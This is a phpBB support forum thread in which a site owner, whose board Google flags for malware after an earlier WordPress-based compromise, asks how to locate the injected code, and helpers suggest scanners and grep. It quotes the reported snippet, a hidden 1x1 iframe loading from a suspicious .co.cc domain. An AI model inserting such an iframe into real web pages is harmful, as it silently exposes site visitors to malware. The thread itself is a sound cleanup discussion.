Can't find virus code in phpbb

[azzurri]

About a year ago my site was injected with some bad code through a not so updated Wordpress site on the same server which served as a backdoor. I managed to fix everything, or so I thought. Now way later Google starts to warn that 1 page on my site has bad code in it. I have noooo idea how to find it. I tried manually but there is way too much files and text. I have found no automatic way in doing it. Does anyone have any idea? Google says it could be something like lghsfs.cc. I tried to search for ".cc" but that didn't help. I don't know what to do. I'm even thinking about closing my board all togheter.

[stevemaury]

Please fill out the Support Request Template Generator and post it back here to enable us to assist you better.

[azzurri]

Hm, that's way to complicated for me. It wants me to fill out some incident tracker but I don't know what page has been injected with malaware and so on so I cant fill it out. I'll never be able to solve this.

[stevemaury]

I don't know what you are looking at, but the indicident tracker is not involved at all. Just need information about your board. Did you click the link I gave you?

Without information, we cannot help.

[wjack2010]

I don't know what you are looking at, but the indicident tracker is not involved at all. Just need information about your board. Did you click the link I gave you?

Without information, we cannot help.

They probably chose the my board has been hacked option, which asks you to post it on the Incident Tracker.

[azzurri]

Is this ok?

Support Request Template
What version of phpBB are you using? phpBB 3.0.10
What is your board's URL? http://www.mysite.com
Who do you host your board with? Binero
How did you install your board? I used the download package from phpBB.com
Is your board a fresh install or a conversion? Conversion from phpBB2
Do you have any MODs installed? Yes
Is registration required to reproduce this issue? No
What MODs do you have installed? Non
What styles do you currently have installed? Progray
What language(s) is your board currently using? english
Which database type/version are you using? MySQL 5
What is your level of experience? New to PHP but not phpBB
When did your problem begin? 2 weeks ago.
Please describe your problem. About 8-9 months ago my phpbb board was injected with bad code through a wordpress site on the same server that hadn't been updated properly and was used as a backdoor. I removed all the code and everything seemed fine. Now all of the sudden Google starts to warn about my site http://www.mysite.com and says 1 page on my site has bad code (ex hflsfss.cc).

I cannot find the code! It doesnt tell me where it is and I've got hundreds of files and too much code.
Generated by SRT Generator

[wjack2010]

Google tells me it has a virus too:

Warning: Something's Not Right Here!
ADDRESS REMOVED contains malware. Your computer might catch a virus if you visit this site.
Google has found malicious software may be installed onto your computer if you proceed. If you've visited this site in the past or you trust this site, it's possible that it has just recently been compromised by a hacker. You should not proceed, and perhaps try again tomorrow or go somewhere else.
We have already notified ADDRESS REMOVED that we found malware on the site. For more about the problems found on ADDRESS REMOVED, visit the Google Safe Browsing diagnostic page.

If you understand that visiting this site may harm your computer, proceed anyway.

Help improve detection of malware by sending additional data to Google about sites on which you see this warning. This data will be handled in accordance with the Safe Browsing privacy policies.

[Lumpy Burgertushie]

It should be on your main page which is not a phpbb page at all.

I don't see anything but I don't read the language.


robert

[azzurri]

It should be on your main page which is not a phpbb page at all.

I don't see anything but I don't read the language.


robert

Thank you. May I ask you how you came to this conclusion?

[Lumpy Burgertushie]

It should be on your main page which is not a phpbb page at all.

I don't see anything but I don't read the language.


robert

Thank you. May I ask you how you came to this conclusion?

actually, after thinking about it, the browser is only blocking it because it is listed by google.
it is not actually checking the site. if you run other checks, no malware/virus is found on your site at all.

I think google's listing is out of date. you may want to contact them to see why they are still listing it.

robert

[azzurri]

I've looked through my non forum files and I can find nothing. I'm turning a bit desperate. I have no idea why it is warning. Nothing in my htaccess either.

[Slackervaara]

You can search for malware with this scanner, which can't find any malware, but it reports that your site blacklisted by Google:
http://sitecheck.sucuri.net/scanner/

[azzurri]

Ok, now for the first time in google tools for admins I see that it warns about this code...

Code: Select all

<iframe src="http://hlqmwspl.co.cc/QQkFBg0MBAEDAAABEkcJBQcEB
AYDBAAMBA==" width="1" height="1">

I cannot seem to find it though.

[azzurri]

Hm visitors say they get the warning when they enter the forum without visiting the main site so I think the forum IS affected.

[Slackervaara]

If you hade a copy of your site in Linux, it would only take a minut to find out, if your files contained http://hlqmwspl.co.cc/ with the grep command. Probably you can search your files in Windows also, if you have the proper program.